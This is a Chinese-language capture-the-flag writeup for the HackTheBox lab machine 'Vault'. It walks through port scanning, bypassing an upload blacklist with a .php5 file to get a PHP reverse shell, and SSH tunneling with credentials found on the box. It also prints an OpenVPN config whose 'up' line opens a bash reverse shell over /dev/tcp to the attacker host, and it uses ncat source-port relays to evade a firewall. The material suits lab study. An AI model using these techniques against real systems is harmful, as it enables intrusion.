前言

大家好,我是成都B1ngDa0,今天给大家带来HTB(hackthebox)的一个靶机:Vault的writeup,作为一篇自己回顾整理知识点以及分享给大家的文章,还望斧正。

实战

RedCross靶机地址: https://www.hackthebox.eu/home/machines/profile/161
目标IP: 10.10.10.109(Linux)
本机IP:10.10.14.43(Kali)
目标:获取user.txt以及root.txt(分别为获取目标的普通用户权限以及管理员权限)
信息收集
NMAP端口扫描
nmap -sC -sV -oA nmap 10.10.10.109

Nmap scan report for 10.10.10.109
Host is up (0.42s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a6:9d:0f:7d:73:75:bb:a8:94:0a:b7:e3:fe:1f:24:f4 (RSA)
| 256 2c:7c:34:eb:3a:eb:04:03:ac:48:28:54:09:74:3d:27 (ECDSA)
|_ 256 98:42:5f:ad:87:22:92:6d:72:e6:66:6c:82:c1:09:83 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn’t have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

访问80端口:
网站信息

显示存在平台 sparklays
访问10.10.10.109/sparklays
403,直接进行目录爆破:

整理:
changelogo.php(可上传图片)

/uploads/ (为上传文件目录)

获取反弹shell
尝试直接上传PHP文件:
失败
测试发现是黑名单检测,通过1234.php5绕过限制

未直接找到地址,
我上传的是一个php反弹shell
使用nc监听1234端口并访问
http://10.10.10.109/sparklays/design/uploads/1234.php5

反弹成功获得用户www-data的shell。
查看Home目录内并未发现user.txt,发现以下内容:

DNS + Configurator - 192.168.122.4
Firewall - 192.168.122.5
The Vault – x
dave
Dav3therav3123
key内容:
itscominghome
发现主机存在网段192.168.122.x
通过ifconfig发现主机网段内ip为192.168.122.1
virbr0 Link encap:Ethernet HWaddr fe:54:00:17:ab:49
inet addr:192.168.122.1 Bcast:192.168.122.255 Mask:255.255.255.0
发现nc可用 通过nc扫描192.168.122.4开放的端口
ifconfig
nc -z -v 192.168.122.4 1-100
Connection to 192.168.122.4 22 port [tcp/ssh] succeeded!
Connection to 192.168.122.4 80 port [tcp/http] succeeded!
发现主机开放22、80端口
并且之前在目录下发现了ssh用户dave的登录账号密码
SSH端口转发
通过ssh端口转发并访问本地端口8888(文献参考)
ssh -L 8888:192.168.122.4:80 dave@10.10.10.109

访问两个链接发现

只有vpnconfig可用,但无其他信息,于是继续进行目录爆破
通过目录爆破发现/notes目录
并且提示有123.ovpn以及一个脚本
分别查看

连接DNS
直接使用123.ovpn的内容在vpnconfigurator页面执行
remote 192.168.122.1
ifconfig 10.200.0.2 10.200.0.1
dev tun
script-security 2
nobind
up “/bin/bash -c ‘/bin/bash -i &> /dev/tcp/192.168.122.1/1337 0>&1’”

ubuntu主机监听1337

可看到已经获取DNF服务器的root,再次查看/home/dave发现user.txt
以及一个ssh账号密码与之前的有差异dav3gerous567
user权限拿下。

获取Root
连接Vault
在ubantu机子上连接dave的ssh:
ssh dave@192.168.122.4

查看文件
/etc/hosts
发现新ip
192.168.5.2
在/var/log/auth.log文件中发现有连接的方法

可通过在DNS主机发现的DAVE凭据去登录192.168.5.2
对192.168.5.2进行端口扫描
nmap -Pn -sS -sU -T4 -p- 192.168.5.2
Starting Nmap 7.01 ( https://nmap.org ) at 2019-03-09 03:57 GMT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using –system-dns or specify valid servers with –dns-servers
Nmap scan report for Vault (192.168.5.2) Host is up (0.0021s latency).
Not shown: 65535 open|filtered ports, 65533 filtered ports
PORT STATE SERVICE
53/tcp closed domain
4444/tcp closed krb524

通过auto.log得知指定源端口继续扫描可以发现另一个开放端口
nmap 192.168.5.2 -Pn –source-port=4444 –f
Starting Nmap 7.01 ( https://nmap.org ) at 2019-03-09 03:57 GMT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using –system-dns or specify valid servers with –dns-servers
Nmap scan report for Vault (192.168.5.2) Host is up (0.0021s latency).
Not shown: 65535 open|filtered ports, 65533 filtered ports
PORT STATE SERVICE
987/tcp open unknown

按照auto.log的方法操作:
ncat -l 5555 –sh-exec “ncat 192.168.5.2 987 -p 53” &
netstat -antup
使用一个可用端口,在DNS上设置一个ncat侦听器,它将使用提供的源端口触发到Vault的连接。检查主机是否成功监听了该端口。

已成功
并且发现是一个ssh服务 于是我们使用dave的账号登录
发现一个root.txt.gpg

尝试解密gpg失败,没有密钥
在DNS机器上也没有密钥
在Ubantu主机上发现了相同的ID
gpg –list-keys
/home/dave/.gnupg/pubring.gpg
pub 4096R/0FDFBFE4 2018-07-24
uid david
sub 4096R/D1EB1F03 2018-07-24

文件传输
使用scp将root.txt.gpg传输至ubantu主机
思路:
vault > dns > ubantu
在DNS主机上执行
sudo ncat -l 5555 –sh-exec “ncat 192.168.5.2 987 -p 4444” &

scp -P 5555 dave@192.168.122.4:/home/dave/root.txt.gpg /tmp
在ubantu主机上执行
scp dave@192.168.122.4:/tmp/root.txt.gpg .
这里需要一个key
就是一开始得到的key: itscominghome
获得root.txt:

个人感悟
Vault靶机,user.txt获取很简单,只考察一点枚举能力。在root.txt获取上比较麻烦,得找到并理清关系,主机存在Ubantu上,可通过openvpn连接至DNS主机,通过auth.log知道Vault主机,root.txt存在于Vault主机并进行了gpg加密,通过密钥的寻找,确定在ubantu使用key上解密即可得到root.txt
文献参考
ssh隧道:https://www.ssh.com/ssh/tunneling/example
从OpenVPN配置文件获取反弹shell:https://medium.com/tenable-techblog/reverse-shell-from-an-openvpn-configuration-file-73fd8b1d38da
GPG Keys Cheatsheet:
https://easyengine.io/tutorials/linux/gpg-keys
scp跨机远程拷贝:
https://linuxtools-rst.readthedocs.io/zh_CN/latest/tool/scp.html